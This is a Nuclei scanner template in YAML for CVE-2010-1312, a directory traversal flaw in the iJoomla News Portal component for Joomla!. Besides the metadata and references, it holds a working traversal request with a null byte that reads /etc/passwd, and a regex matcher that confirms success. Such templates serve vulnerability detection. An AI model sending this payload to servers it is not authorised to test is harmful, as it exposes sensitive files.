id: CVE-2010-1312

info:
  name: Joomla! Component News Portal 1.5.x - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the iJoomla News Portal (com_news_portal) component 1.5.x for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12077
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1312
    - http://packetstormsecurity.org/1004-exploits/joomlanewportal-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1312
    cwe-id: CWE-22
    epss-score: 0.13621
    epss-percentile: 0.95987
    cpe: cpe:2.3:a:ijoomla:com_news_portal:1.5.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ijoomla
    product: com_news_portal
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,ijoomla,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_news_portal&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022042ab25170d11996ea020f6a5c88af3e480e969fba106e50e007c86350b6106c502200d9e8d1b383c4366724cf73530ba1cc2bdf70783f70d9966b79194454ebd4679:922c64590222798bb761d5b6d8e72950